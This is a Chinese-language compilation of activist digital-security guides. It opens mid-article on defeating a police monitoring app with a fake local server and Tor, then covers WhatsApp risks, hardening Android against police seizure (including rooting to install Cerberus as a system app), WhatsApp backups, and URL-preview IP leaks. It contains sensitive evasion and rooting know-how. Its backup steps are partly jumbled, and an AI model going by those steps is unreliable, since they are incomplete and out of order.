应用程序正在与之通信的目标服务器可以通过 DNS 查询找到，也可以在应用程序中对其 IP 地址进行硬编码。如果是前者，您可以编辑 Android 手机的 DNS，将其重新指定给其他服务器，包括手机上运行的；如果是硬编码的 IP 地址，您同样必须将所有流量重定向到您的本地 Android 手机的 IP 地址（也许您可以使用 Android 执行此操作—可以使用其他操作系统，但您肯定必须 root 您的手机）。

设置替代服务器

然后，您设置一个响应所有请求的本地服务器，您必须让这台服务器在您的手机上运行，这样它始终可用。这不一定非常复杂（尽管取决于实际服务器交互的详细程度），因为您实际上并不需要关心保留任何数据，只需确保为所有请求提供有效的响应。

风险：# 该监视应用程序可能会自动更新（虽然您的模拟服务器可以阻止）并指向新的域/ IP 地址，突然删除您的保护；

- 如果你无意中阻止了自动更新，警察就有可能会注意到这点，并把你标记出来，从而发现你正在做的自我保护；
- 他们也可能会进行服务器端跟踪从而发现您正在做的事，因为他们没能在您的特定 IMEI 上找到任何数据（因为您的模拟服务器就像一个黑洞吸走了所有内容）。即使您发送了欺骗性请求，他们也可以通过更简单的方法来确定（请假设警察将在黑名单上的图像复制到了您的手机上，并发现这一监视应用没有能阻止/报告它）；
- 他们可能在应用程序本身进行了 root 检查

总之，这些都需要被考虑到。

还有一种叫 Orbot 的应用程序。Orbot 是一款免费的代理应用程序，可让其他应用程序更安全地使用互联网。 Orbot 使用 Tor 来加密您的互联网流量，然后通过在世界各地的一系列计算机中反弹来隐藏它。可以帮助您抵御威胁个人自由和隐私、机密业务活动和关系、以及常见的网络监控形式。

但是不确定中国当局是否能发现您安装了这样的保护性措施（有可能会发现，就像他们发现VPN 并阻止人们使用那样）而且，由于中国封锁了 Tor 的大多数网桥，直连是不方便也不安全的，所以需要前置代理。

如果您还有其他有效的方案，欢迎留言讨论。

原文

AS10 如果您必需使用 WhatsApp：这里是减少伤害的办法 - iyouport

护盾（AS）

【2019年10月24日存档】WhatsApp 不是被推荐的工具，但是如果您的重要联系人关系一时无法全面转移，请按照本指南中的解释更改您的操作习惯，以减轻危险

世界各地的活动家和记者都在使用 WhatsApp 来传播和分享敏感的人权和政治信息。

虽然 WhatsApp 不是最安全的选择，但我们认为周知关于此应用程序的减少危害提示非常重要。

WhatsApp 太受欢迎了，但 WhatsApp 缺少一些重要的功能，正如我们在下面讨论的那样 —— ⚠如果你没有正确使用它，就有可能会让你自己和他人都处于危险之中。

WhatsApp 为个人和团体启用了端到端加密。这意味着理论上消息的内容只能由撰写和接收消息的双方阅读，而不是中间的任何人 —— 包括执法人员，他们可能会向 WhatsApp 提供合法的数据请求。

但是，有许多方法可以使这种加密失败。

1、安全是一个社区问题

首先，无论您自己的安全性有多大，您也需要始终依赖于与您沟通的其他人的安全性 —— 当然同时他们也依赖于您。

在这里看到《做到安全所需要的思考方式》

就如我们在行动技巧中提到过的，重要的是要与他人讨论安全问题，并考虑你们中谁的风险可能性比较高、以及如何对他们采取特别照顾。（这里有行动技巧系列的过往回顾）

例如，您可以定期删除可能从团队其他人那里收到的消息、视频和图像，甚至可以使用代码名称保存其联系信息（只有你知道“猫一只”代表的人是谁），从而保护特别易受攻击的联系人（如 社区领导者）的身份。

您可能还希望为群组成员签订安全协议。这对于彼此了解的群体/社区非常有用，尤其是对于较大的公共群体来说，您值得尝试。

要注意协议不能令人感觉困难。不能是排斥性的或竞争性的；团队的凝聚力和协作积极性对行动来说是非常重要的。

🌤您可以通过在每次新人加入小组时发送欢迎消息，来表达您想要的安全期望。

如果您是包括记者在内的小组的成员，您可以包含有关记者可以如何与小组成员互动的确切说明。

您还可以包含有关添加新成员的过程的要求、有关删除旧信息的期望，以及有关您在群组中将要说什么或不会说什么的协议。例如这样：

欢迎来到我们的社区组织！……如果未经至少三名其他成员联合批准，请不要添加任何新成员；请及时删除发送超过3天的信息和媒体内容，尤其是视频；请不要在 WhatsApp 消息中使用云备份；请不要讨论该群组中任何成员的实际地理位置 —— 安全是团结才能实现的。感谢你的理解！……

当然这是最简单的一个例子，您可以加入更多，一定要注意尽可能简洁易于所有人操作；并且，您自己还需要准备**planB**，关于：如果有任何成员没有遵守规则，您应该如何处理。

这一规则在任何加密通讯群组中都适用。

2、明确元数据

虽然 WhatsApp 可能无法直接访问您发送的内容，但他们仍会收集使用者的信息，这些信息可以说明您是谁、您的朋友和社区都是谁、您将去哪里、以及您何时使用该应用。

目前还不完全清楚 WhatsApp 可以访问的内容具体都有哪些，但他们的“执法机构信息”页面指出，⚠他们可以向执法部门提供 “姓名、开始使用该服务的日期、最近一次查看的日期、IP地址、和电子邮件地

址”、以及“用户正在阻止或已经阻止的号码、还有 “简介信息、个人资料照片、群组信息、和地址簿”。

而且，一位记者查看了美国的法院材料，并发现了警方对位置数据的要求。

事实上，正如 Himanshu Gupta 和 Harsh Taneja 在2018年8月的一篇文章中指出的那样，“WhatsApp 使用加密哈希（每个文件唯一的加密文本）唯一标识每个附件，每当下载附件被“转发”时，WhatsApp 会检查其服务器上是否已存在具有相同加密哈希的文件；

如果答案是肯定的，WhatsApp 不会将文件从用户手机上传到服务器，而是将存储在其服务器上的文件副本直接发送给最终收件人；

这表明 WhatsApp 可以指向驻留在其服务器上的特定文件，尽管端到端加密。”

⚠必须明确这点以便理解 WhatsApp 的隐私氛围。

您有必要启用独立的“角色”来参与 WhatsApp 上的敏感交流，在这里看到方法《分裂人格的魅力》；《角色扮演：行动者刚需》

3、时刻记得 Facebook 与 WhatsApp 相关联

WhatsApp 是“Facebook 家族”的一部分。2016年，WhatsApp 改变了服务条款，请注意：那时开始它会“将你的手机号码与 Facebook 系统连接起来”。

由于通用数据保护条例，WhatsApp 在欧盟国家有一些特殊限制，但在全球其他地方，这种数据共享似乎已经到位。

这意味着 WhatsApp 上的联系人可以 —— 并且很可能已经 —— 被分析并与 Facebook 上的联系人建立了联系。

图：联系人

WhatsApp 的隐私政策中有明确说明您的信息可被用于制作 “产品建议（例如，朋友或社交关系、或感兴趣的内容推荐）。”

这意味着如果您与某人同在 WhatsApp 小组中，可能就会被建议作为 Facebook 上的联系人。

尤其是您参与的是行动团体的话，这会非常危险。

⚠避免这种追踪的方法是：确保您注册 WhatsApp 的电话号码与 Facebook 完全无关；并且确保您的手机上没有 Facebook 应用程序。

方法详见《4款最佳一次性手机号码应用：适用 Android & iPhone》；《如何建立一个匿名 Facebook 账户以保护个人数据的私密性？》；《如何不暴露手机号、不花钱，实现双因素身份验证？》

如果您已经与 Facebook 共享了手机号码、或在手机上安装了 Facebook 应用程序，那么您唯一的选择可能是使用完全不同的手机号码注册 WhatsApp 账户，教程在上面。

请注意 WhatsApp 无法选择退出此信息共享。

4、关于物理安全

数字安全和物理安全是一回事，WhatsApp 就是一个很好的例子。

⚠不论是拦路搜查、还是在群体事件现场突袭，执法部门通常会强迫人们打开 WhatsApp 允许警方查看内容和联系人。

不要认为他们看一眼就结束了。⚠因为这些信息很快会被用于进一步骚扰其他活动家或边缘社区的成员。

最佳做法是在备份任何重要内容后定期删除 WhatsApp 消息。

您可以设定在发送消息后的一个小时内从所有人的手机中删除信息，选择“Delete for everyone”。

还要考虑保留或传输您在本地导出或备份的数据所带来的物理安全风险。

⚠并考虑加密您的设备，这是很重要的；尽管，如果您遭受身体暴力而被迫交出密码的可能性也存在 。

具体做法详见《指南：当您准备参加抗议活动…》

5、您真的知道您正在联系的人是谁吗？验证联系人

首先，在这里使用常识很重要。

在大型 WhatsApp 群组中，您可能会遇到从未谋面的人。

使用您可以用来确定某人是谁的常规方法，例如 询问某个群组的管理员、或在 Facebook 等其他地方使用开源调查的基本方法搜索，看看您是否与该人有共同的熟人。

⚠这一点尤为重要，因为 WhatsApp 确实存在安全漏洞，允许有权访问 WhatsApp 服务器的人加入未经邀请的账户进入团体。

如果您正在与一个大型团队中自称为记者的人打交道，请事先在线搜索他们、或向他们索取他们撰写的报道的链接，或其他证明性信息。

一般来说，了解某人是谁的最佳方式是亲自与他们会面。当然，也许有些时候不方便，那么下一个最好的方法就是与值得信赖的熟人交流。如果可信的人推荐也可以认为是可靠的。

一旦你确定认识某人，最好能确保你实际上正在联系这个人。

WhatsApp 端到端加密使用“密钥”来验证您获得的消息是否真的来自该人。

当这种方法有效的时候它可以是一个非常强大的系统。但是，您需要一些重要的方法可以保证它确实有效。

首先，您可以通过验证密钥来验证您是否从正确的人那里收到了消息。

查看 EFF 对 Android 或 iOs 上的 WhatsApp 密钥安全性的精彩说明—— 只需一分钟。

一旦验证了某人的密钥，您还应该打开安全通知，如果有人“更改了他们的密钥”会收到提示。

当人们在新手机上重新安装 WhatsApp 时会发生这种情况，但是，⚠这也可能意味着有人试图模仿您的联系人对您钓鱼。因此，如果您收到该消息提醒，应通过其他渠道（如语音呼叫/另一个加密通信）对对方进行核实。

此外，别忘了去年的披露：全球一流间谍机构英国政府通信总部（GCHQ）信号情报部门的两名官员设计了一个可以解决棘手问题的“建议”，即 如何拦截端到端的加密通信—— 而不会从表面上看到加密被破坏或削弱的结果。在这里看到 《英国间谍如何对端对端加密开刀》。

这强调了验证的重要性。

6、不要使用云备份绕过端到端加密

不论是 Android 还是 iOs，不要启用自动云备份。

虽然这些备份在 Google 或 Apple 的服务器上进行了加密，但是第三方存储本身会使应用程序中的端到端加密变得毫无意义。

因为 Google、Apple 会遇到警方的合法强制要求（参见棱镜文件）、并且以其他方式获取访问权限的人也都可以阅读、下载或分析您的 WhatsApp 消息（比如骇客）。

Apple 会向执法部门提供 **iCloud** 数据，**Google** 也会回应当权者的数据请求。

如果使用云备份，当遇到法院命令和传票的时候您就失去了保护。而且你可以完全不知道为什么。

对于那些使用 WhatsApp 来处理敏感问题或与边缘化社区进行沟通的人来说，这些被第三方存储的消息、视频、图像、联系方式和详细的网络信息是一个重要的安全和隐私风险。

如果您不想备份 **WhatsApp**，而是希望记录您的聊天记录和媒体视频以便用于日后问责或仅仅保存，则可以将其导出并保存在应用程序之外。

WhatsApp 去年进行了两项更改。其中一个更改是，WhatsApp 和谷歌将为 Android 用户提供无限制的免费存储 WhatsApp 备份在 Google 云端硬盘上，而不会计入您在 Google 云端硬盘上的存储空间配额。

虽然这可能很诱人，但是，如上所述，将此内容存储在 Google 云端硬盘上首先会破坏端到端加密的重点。

我们强烈建议用户不要使用 Google Drive for WhatsApp 备份。

相反，您可以使用手机上的文件管理器查找 WhatsApp 本地备份，您也可以使用我们即将发布的指南从应用程序中获取聊天内容和媒体内容。

最后

首先，WhatsApp 应该设置定时清除，这意味着应该可以在发送一段时间后自动彻底删除消息。这意味着您可以减少对他人良好安全卫生的依赖。

其次，WhatsApp 应该允许用户随时选择退出与 Facebook 的数据共享。这减少了不必要的关联的危险。

同样，WhatsApp 应该简单地对用户呈现它都收集了哪些元数据，以便用户可以对自己如何使用该应用程序做出明智的选择。

第三，WhatsApp 应该为备份启用“零知识”加密，这意味着这些备份仍然只能为用户读取。

如果 WhatsApp 做不到这些，它至少应该提供更清晰的应用内警告，清楚地表明 iCloud 和 Google 备份的加密程度与端到端加密保护的不同。

总之，WhatsApp 不是推荐的工具，但是它的用户量 太大了，很多人尤其是 敏感人士和记者非常依赖该应用程序；于是我们作出以上建议，希望您能通过本指南了解自己面临的风险，并选择合适的建议更改您的操作模式。〇

原文

AS11 如何保持 Android 设备免受警察的侵害 - iyouport

护盾（AS）

【2019年10月31日存档】日常保健可以预防大病

- 别忘了 **iPhone** 的，在这里：《如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？》

虽然我们希望从未发生过这种事，但是，执法部门确实会毫无规则地查抄公民的手机，在很多国家都是如此；其中任何数据都有可能令您陷入“自证其罪”的困境。

这种悲剧的发生时间完全无法预测，于是您应该在平时做好基本的防备工作。

本文推荐一些可行的方法，您可以根据自己有可能面对的情况选择最适合的方案，或者将它们结合起来使用。

但我们不是律师，所以请自行判断使用这些方法的风险，因为每种情况都不同，无法全面估测。

提示**1**：在几秒钟内禁用生物识别

虽然生物识别技术确实在安全性和便利性方面提供了很好的平衡，但是，在遭遇警察的时候，生物识别技术就可能会被用来对付您。

这在美国也一样。

虽然最近加利福尼亚州北区地方法院的一项裁决认为警察强迫您用指纹解锁手机违反了第四和第五修正案，这是第一次，但未来的法庭听证会结论如何还有待观察。

在 Android 9 Pie 中，谷歌推出了一项称为锁定模式的功能。默认情况下不启用它，因此您需要手动打开它。

激活后，您可以快速锁定手机，并一键禁用生物识别，将PIN、图案或密码作为解锁手机的唯一方法。

最重要的是，它只会禁用您的指纹扫描仪（或面部识别）一次，因此您不必记得再去关闭该功能。

这是 Android 的一个很好的补充，因为警察、抢劫犯和其他潜在的攻击者可以强迫你或者用你的指纹、面部或语音来解锁智能手机。或者，具有相似的面部或语音的人可以在没有生物识别签名的情况下解锁您的手机。

但是，在执法方面，由于第5修正案权利，警察无法合法地让您输入密码。

即便对于非美国用户来说，没有第5修正案保护，使用该功能也能保护您免于如上所述的很多危险，至少能在警察面前拖延时间。

此外在 Appl 设备要求您一起按下两个按钮几秒钟以触发其锁定模式（在较新的 iPhone 上）；或连续五次点击一个按钮（在较旧的 iPhone 上）。

要在 Pixel，Pixel XL，Pixel 2 或 Pixel 2 XL 上解锁 Android 9.0 中的这一新安全功能，您只需转到设置中的“安全和位置”即可，然后点击设备安全性下的“锁屏首选项” 。

接下来，只需确保切换到“显示锁定选项”，即可完成设置。

如果您没有看到此选项，可能是因为您选择了滑动屏幕锁定而不是模式、PIN 或密码。

现在，要实际使用锁定模式，只需长按电源按钮，直到电源菜单出现。

您会看到锁定按钮出现，具体取决于运行的 Android Pie 版本。

下次尝试解锁手机时，您需要先输入您的模式、PIN或密码。

如果您的手机运行较旧的 Android 版本，还有另一种解决方法：只需重新启动即可。

当然，不会建议您因为这一便利而拒绝更新。

提示**2**：使用强密码

在提示1 的前提下，手机提供的最安全的身份验证方法是字母数字组合的长密码。

使用安全密码（最长可达16个字符），您可以放心，未经您的同意，您的手机将无法解锁，因为执法部门即便使用暴力破解也需要很长很长时间的猜测过程。

纯数字（或使用常用词或名字）的8个字符的密码将需要一台计算机超过五个月才能破解；将此值增加到16个字符，破解需要几千年的时间。

这可以是让任何人（包括执法部门）远离您手机的安全选择。

提示**3**：禁用智能锁

很多人喜欢使用 Android 的智能锁定功能，可以更轻松地解锁自己的设备，但是要知道，这是一把双刃剑：它还可以让警察更轻松地进入您的手机。

特别是“On-Body Detection”设置，当运动传感器检测到自从上次使用PIN、模式或密码解锁后一直在移动时（以与行走者一致的方式），可以保持手机未锁定状态。

这种状态下如果您遇到警察的拦路检查，情况就会变得很糟糕，他们可以通过简单的滑动解锁您的手机。

智能锁的“可信位置”设置也存在风险。这可以让您的手机在家中等特定位置被自动解锁。

如果警察闯进您的家里，就可以在没有PIN、模式或密码的情况下解锁您的手机。

要禁用所有 Smart Lock 选项，请转至设置 →安全 →智能锁，然后单独选择每个项目并禁用它们。

转至“可信任位置”，删除其中的设置。

提示**4**：隐藏通知

通知是很糟糕的东西，因为它设想的是永远只有您自己掌握手机，这

显然非常不现实。

虽然锁屏确实阻止了警察访问手机内容，但即使无法访问手机的其余部分，自动弹出通知也很可能成为重要信息来源。

这是因为，默认情况下，通知（特别是消息）可以在锁定屏幕上阅读——有时甚至是完整的消息。

要更改这种情况，请打开“设置”并选择“安全性和位置”（在不同手机上可能会有不同的标记；搜索 “安全” 很容易找到）。

选择“锁定屏幕首选项”和“锁定屏幕”。从弹出窗口中，选择“隐藏敏感内容”或“根本不显示通知”。

如果您的手机配备了通知 LED，我们建议选择后者，因为它提供了最好的保护。

LED 闪烁您就会知道有新的通知，但它们永远不会出现在锁定屏幕上。

如果没有 LED 建议选择“隐藏敏感内容”。

或者，如果您的手机使用的是 Android 9 或更高版本，则可以使用“锁定模式”选项作为临时禁用所有锁屏通知的方式，以防您被警察骚扰或扣留。

触发锁定模式后，直到您下次使用模式、PIN 或密码解锁设备，通知才会显示在锁定屏幕上。

提示**5**：保持您的引导加载程序锁定状态

Android 有一个检查和平衡系统，以确保在启动时操作系统的每部分仍然是安全的。但它也是一个开放的操作系统。

为了对希望 root 并同时强化启动安全性的用户保持开放状态，谷歌想出了一个默认情况下锁定 boot chain 的系统，但如果你愿意，你可以使用两部分设置来打开它。

其中一个设置在 Android 操作系统内部，另一个设置在一个名为 bootloader 的预启动菜单上。

Android 内部的设置称为OEM解锁。这里的想法是，如果您输入了模

式、PIN 或密码以进入操作系统，才会启用此选项。因此如果它已启用，那么就是由您来启用的。

从 Android 内部启用该设置后，您可以进入引导加载程序模式并发送 Fastboot 命令以解锁引导加载程序。

这将允许您在设备上安装非官方软件，例如自定义恢复或自定义 ROM。反过来，这些可以帮助您获得手机的 root 访问权限。

为了使事情更安全，解锁引导加载程序的实际操作会自动擦除设备上的所有数据。

⚠但是：如果您的引导程序当前已解锁，执法部门可以轻松地在设备上安装非官方固件，以绕过锁定屏幕并访问您的数据。

OEM解锁设置并不值得担心，因为它只允许解锁引导加载程序。

如果警察确实解锁了您的引导加载程序，您设备上存储的所有数据都将被自动删除。

但是，如果您在启用 OEM 解锁后解锁了引导加载程序 —— 例如，如果您将手机与Magisk一起使用 —— 那么，非常建议在完成后返回并重新锁定引导加载程序。

此外，如果您安装了自定义恢复（如 TWRP），则应确保使用密码保护恢复菜单。

启用“OEM解锁”选项在技术上不太安全。理论上，技术娴熟的小偷可以在启用此选项的情况下完全擦除您的设备，这意味着您将无法再使用 Android 设备管理器跟踪设备的位置。但 Android 的其他安全措施仍然存在，因此没有您的模式、PIN或密码，任何人都无法访问您的数据。

提示**6**：使用 **Cerberus**

Cerberus 是Play商店中的第三方应用程序，提供 Google 的查找我的设备等所有功能。

虽然它确实有订阅费用，但它是一个比查找我的设备更完整的安全软件。

一个重要的补充是：它能够向手机发送命令以远程控制它。

- **Play Store Link: Cerberus Phone Security (free)**

在警方拿走您的电话的情况下，Cerberus 允许您发送短信或使用浏览器向您的手机发送命令。

一个命令即可使用您选择的代码锁定手机，该代码与锁屏代码相区别。

此外，如果您判断后认为手机再也拿不回来了，则可以使用SMS命令（或通过浏览器）远程擦除手机。

这样，即使警察绕过任何其他保护性方法，手机上也没有任何东西可供他们检索。

⚠但是，请确保删除备份，如 Android Pie 之前，这些文件是未加密的，登录到您的 Google 帐户的任何人都可以访问这些文件。

送一个短片给大家，这是荷兰电影制片人 Anthony Van der Meer 的作品，自发表后迅速成为了热门。

该视频包含很多在设备被盗后远程拍摄的屏幕截图、音频剪辑和录像。

Van der Meer 使用就是 Cerberus。

下面简单介绍一下它怎么用。

第一步：安装 Cerberus

首先，您需要安装 Cerberus。安装过程将非常普通。

- **从 Google Play 商店免费安装 Cerberus**

第二步：授予权限和创建帐户

按照屏幕上的提示确保 Cerberus 具有所需的所有权限，然后系统会要求您创建一个帐户。

完成后，您将立即开始为期7天的免费试用。如果您希望在此之后继续使用 Cerberus，则需要以每年5.00欧元（约合5.23美元）的价格订阅。

第三步：将 Cerberus 转换为系统应用程序

这一步骤可以让小偷从你的手机上移除 **Cerberus** 几乎不可能，并且反过来又可以让你无限期地追踪你的手机。

这里唯一需要注意的是，手机仍然需要联网才能完全跟踪，但除此之外，即使小偷在您的设备上执行恢复出厂设置，安全软件也会保持活动状态。

您可以使用两种方法来完成此部分。

方法1：

使用 Link2SD

- **从 Google Play 商店免费安装 Link2SD**

之后，只需打开该应用程序，然后点击超级用户访问请求中的“授予”。

从这里，找到并长按 Cerberus 条目，然后从弹出窗口中选择“转换为系统应用程序”。

方法2：使用启用 Root 的文件浏览器

只需从设备的根分区前往/ data / app文件夹，然后找到并复制 com.lsdroid.cerberus 文件夹。

接下来，前往/ system / app文件夹，然后将 Cerberus 文件夹粘贴到此位置。

接下来，长按新复制的文件夹，然后从菜单中选择“权限”。

之后，设置权限，如下面的第二个屏幕截图所示。

如果您的文件浏览器有选项可以复制子文件夹和文件的这些权限，请确保勾选。

否则，对 Cerberus 文件夹内的任何子文件夹使用相同的权限设置重复此相同的过程。

完成后，只需重新启动手机，Cerberus 将作为系统应用程序安装。

第四步：删除Root访问权限

既然 Cerberus 已作为系统应用程序安装，则无法使用传统方法或出厂重置设备来卸载它。

这是一个很好的防盗功能，因为该软件几乎可以在设备开机并连接到互联网的任何环境中保持活动状态。

但是，如果你的手机被一个精通技术的小偷或警察偷走，他们可以使用像 Titanium Backup 这样的 root 应用来卸载 Cerberus。

或者，他们可以在第一时间使用您使用的相同root访问权限撤消刚刚进行的更改。

所以，建议打开你的 SuperSU 应用程序，前往 Settings 选项卡，然后点击“Full unroot”按钮。

只要重新启动你的手机，Cerberus 将成为一个永久性的固定装置。就像 Van der Meer 在视频中所做的那样。

最后

前面的提示方法比较基础，希望能使用在日常中成为习惯；最后一个方法也许比较适合中国的安卓用户，尤其是，你们的政府有可能在任何适合查抄您的设备。〇

原文

AS12 是否需要备份以及该如何安全地备份 WhatsApp？ - iyouport

护盾（AS）

【2019年10月24日存档】本教程希望能帮助您决定是否应该使用 WhatsApp 的内置备份选项，如果是，该如何最安全地备份 WhatsApp。

消息传递平台 WhatsApp 在全球拥有15亿用户，⚠并且越来越多地被用作组织，动员和分享重要人权内容的工具。

本教程希望能帮助您决定是否应该使用 WhatsApp 的内置备份选项，如果是，该如何最安全地备份 WhatsApp。

备份 **WhatsApp** 与从 **WhatsApp** 导出内容是不同的。

备份用于恢复 WhatsApp 帐户，例如，如果您要更换手机。备份以加密的 WhatsApp 数据库格式存储，于是它无法在 WhatsApp 之外打开或读取。

导出的内容无法像备份一样恢复到您的 WhatsApp 帐户，但如果您想将重要内容保存在 WhatsApp 之外，则非常有用。

为什么要备份 **WhatsApp**？

- 如果您需要从手机中删除 WhatsApp，稍后重新安装。

⚠如果您正在面临被搜查手机的状况（不论是在机场还是在街头）；或者您担心自己的物理和数字安全性，则可能需要在手机上先卸载 WhatsApp。

通过在卸载之前备份 WhatsApp，您可以稍后从此备份重新安装和恢复您的内容。

- 如果您的手机丢失、被盗、损坏、或您需要更换它。

WhatsApp 消息和媒体存储在您的手机上，而不是存储在 WhatsApp 的服务器上（WhatsApp 在30天后删除来自其服务器的消息）。

但是手机可能会丢失、被盗或被损坏。将 WhatsApp 备份到您的计算机上应该是确保您可以在设备出现问题时恢复 WhatsApp 的唯一方法。

- 如果您要还原为备份副本。

在某些情况下，您可能希望将 WhatsApp 还原为备份副本；例如，如果您不小心删除了一些重要内容。

在大多数情况下，例如使用 Google 云端硬盘或 iCloud 备份时，您只能恢复到最新的备份。

但是，Android 设备会存储最近7天的备份，Android 用户可以从较旧的本地备份进行恢复。

iPhone 用户只能通过整个设备的 iTunes 备份恢复到较旧（非最新）的备份。

请务必注意，从备份还原时，将丢失备份日期之后创建的所有新内容。

为什么不想备份 **WhatsApp**？

- WhatsApp 备份不如 WhatsApp 聊天安全。

WhatsApp 提供内置选项来备份本地（Android）和谷歌 Drive（Android）或 iCloud（iPhone）。

Android 用户可以在 Google 云端硬盘上免费备份所有 WhatsApp 数据，不受文件大小限制（不推荐这样做）。

这些备份由 WhatsApp 加密，如果上传，也可以通过谷歌或 Apple 的服务器端加密，但它们不受 WhatsApp 的端到端加密保护。

当您进行备份时，WhatsApp 会使用您的电话号码生成密钥对其进行加密。

当备份上传到 Google 云端硬盘或 iCloud 时，Google 或 Apple 也会使用自己的服务器端对其进行加密。

⚠请注意：这意味着这些公司或拥有您的 Google 帐户或 iCloud 授权的任何人都可以解密备份中的服务器端加密，并且可以向执法部门提供备份。

⚠同时，用于解密的密钥存储在您的手机上，或者可以由使用带有您的电话号码的 SIM 卡的任何人重新生成，因为它旨在使用户能够轻松地将备份恢复到新手机上。当然也因此不安全。

同样重要的是要注意，WhatsApp 备份加密只加密文本对话，而不是媒体内容（视频和图像）。

WhatsApp 不会在手机上加密媒体附件，也不会将其上传到 Google 云端硬盘和 iCloud。

- 谷歌和苹果可能会向执法部门提供备份访问权限。

⚠当您将内容备份到所谓的云端时，您就彻底无法控制它了。如前文所述。

所以建议使用替代方案。

Android 用户可以选择仅使用本地（加密）备份，而 iPhone 用户可以使用 iTunes（带加密选项）将整个手机备份到自己的计算机上。

导出 WhatsApp 内容是备份以保存重要文本和媒体信息的另一种方法，尽管您无法像将常规备份那样将导出的内容简单的恢复到 WhatsApp 帐户。

请注意，所有这些选项都有其自身的安全风险，例如，如果您的设备丢失、被盗或被警察没收，或者您的云服务或设备遭到黑客入侵或破坏 ……

请按照我们上一篇文章中的说明操作。

- 云备份使内容更容易受到攻击和窃取

由于云存储可能引入许多漏洞，因此在云上存储数据可能会非常不安全。

个人帐户可能会被弱密码、糟糕的密码管理、和网络钓鱼攻击所破坏（使用双因素身份验证，这有助于保护用户。在这里看到《不使用手机号码实现双因素身份验证的方法》）。

云存储提供商也可能具有较差的安全实践，例如对其数据库的保护较弱，使他们及其用户容易受到破坏、骇客攻击和泄密。

如何备份 **WhatsApp**？

如下，选择适合您的内容。

1、如果想在 **Android** 操作系统上备份 **WhatsApp**

1–1 想做一个本地备份

你不需要做任何事情。 WhatsApp 每天凌晨2:00自动为您的设备创建本地备份。

无法关闭此功能。

WhatsApp 将最近7天的备份存储在您的设备上。

如果要在24小时备份周期之间的某个时间点手动备份，请转到 WhatsApp 」菜单」设置」聊天」聊天备份」备份。

本地备份在 WhatsApp」数据库下的设备存储中存储为加密文件。

它们由 WhatsApp 使用手机上存储的密钥解密（除非您拥有对手机的root权限，否则无法访问）。

1–2 如果想从本地备份还原

这个过程大多是自动化的。重新安装 WhatsApp 时，系统会在您验证电话号码后提示您恢复。

WhatsApp 默认会选择最新的备份。

要强制 WhatsApp 选择本地备份，请在重新安装 WhatsApp 之前注销您的 Google 帐户。

1–3 如果想从手机上恢复旧的本地备份

您需要以下内容：

用于访问手机上存储文件的文件管理器应用程序；

您的设备可能具有内置文件管理器（取决于制造商），或者您可以从

Play商店安装一个；

如果从 PlayStore 安装，请注意是谁创建了该应用程序、以及他们收集的信息类型。# WhatsApp 在 Android 设备上存储最近7天的备份。

1. 使用文件管理器应用程序导航到设备存储或SD卡上的 WhatApp / Databases。

- 删除单个备份文件或整个 Databases 文件夹。这不会影响 WhatsApp 中聊天的主要副本。

1. 在计算机上的 Google 云端硬盘中，转到齿轮图标」设置」管理应用」 WhatsApp。等到“Hidden app data”和文件大小出现，这可能需要几分钟：
2. 用于访问 iCloud 的 Apple ID

- iPhone 和 iCloud 上有足够的可用存储空间来存储备份。

1. 将手机连接到电脑。解锁手机并允许计算机/ iTunes 访问它。在 iTunes 中，选择设备图标：
2. 将手机连接到电脑。解锁手机并允许计算机/ iTunes 访问它。系统将提示您关闭手机上的“查找我的 iPhone”功能。要暂时关闭此功能，请转到设置」 iCloud」查找我的 iPhone。关闭查找我的 iPhone并输入您的 Apple ID 密码。在 iTunes 中，选择设备图标：

「图」

2. 在 iTunes 中的“备份”下，选择“还原备份”，然后选择要从中还原的备份：

3. 重新打开手机上的“查找我的 iPhone”功能。

2–5 如果你想删除 **iTunes** 备份

在 iTunes 中，转到 iTunes」首选项」设备。右键单击要删除的备份，然后选择“删除”：

请注意，备份文件夹会在 Time Machine 中备份（如果启用了此功能），因此，从计算机中删除备份后，仍可能存在备份的现有副本。如果您正在做的是《大清洗》工作，请注意这点。〇

原文

AS13 小心预览！ - iyouport

护盾（AS）

【2019年1月23日存档】许多应用程序生成了这些预览而不知道幕后发生了什么。因为在某些情况下，这可能等同于您已经以自己不想要的方式泄露了 IP 地址。

URL 预览是大多数消息传递应用程序中的一个很好的功能。它们允许您将 URL 粘贴给朋友或同事，并具有您将要查看的网站的微缩视图。

缺点是，许多应用程序生成了这些预览而不知道幕后发生了什么。因为在某些情况下，这可能等同于您已经以自己不想要的方式泄露了 IP 地址。

不要忘了：当您浏览网站时，您的公共 IP 地址会被暴露。除非您使用 Tor 或 VPN 来隐藏它，否则这就是 Internet 的工作原理。

与消息传递应用程序中的 URL 预览的不同之处在于，您正在向网站所有者广播您正在讨论该网站，而不是仅仅浏览它。

上下文中这种微小而微妙的变化实际上是一个非常重要的区别。你很快就会明白为什么……

几年前，我正在进行一项渗透测试，我尝试在欧洲一家知名公司担任高管。他们拥有我见过的最杰出的首席信息安全官之一，以及一支非常出色的事故响应团队。

在我发送了第一轮钓鱼邮件之后，我正在监视命令和控制服务器，以查找来自用户的连接。几个小时都没有太多活动，直到我的网络服务器从一个解析回Skype的 IP 地址收到了连接。这对我来说是一个WTF时刻，因为我的网络钓鱼服务器是全新的，似乎没有一个很好的理由解释为什么会出现这个连接。

几分钟后，又出现了来自另一台 Skype 服务器的另一次点击。现在我

真的很想知道发生了什么。

我忽然明白了，有人在 Skype 聊天期间讨论我的命令和控制系统，Skype 正在生成我设置的网络钓鱼站点的预览。我使用自己的 Skype 帐户进行了几次快速测试，果然，我可以轻松地重现这种状况。后来我才知道是事件响应小组在讨论我的钓鱼链接。

但在涉及在线调查、事件响应和运行秘密在线操作时，这种情况会引发更大的问题。

这里有两个观点：一个是从调查的角度来看，第二个是从你通过网站进行秘密行动的角度来看。从调查的角度来看，如果您与其他调查员来回传递 URL，您最终可能会通知您的目标您正在谈论他们。这正是我在测试期间发现的，你可能不希望这种情况发生。

第二个观点是您运行网站进行隐蔽的在线操作。您可以监控这些网址预览，并确定有人正在讨论您的网站，可能会让您知道您的诡计正在发挥作用，或者您是不是有可能被抓获（同样，上下文非常重要且基于任务）。

无论哪种方式，它都是可以被观察到的一组独特的行为，而不是一般的浏览活动。

我对各种消息传递客户端和服务进行了快速测试。测试只是在 Digital Ocean Droplet 上设置一个 Python Web 服务器（每月5美元计划就足够了）。 Python Web 服务器只打印出连接客户端的 IP 地址和标头。我还设置了特定于此测试的 DNS 记录以便我可以尝试使用IP地址与域名。 WhatsApp 是唯一经过测试的对IP地址和域名响应不同的服务。其他所有服务都很乐意为IP地址生成预览。使用 HTTP 或 HTTPS URL 也没有区别。
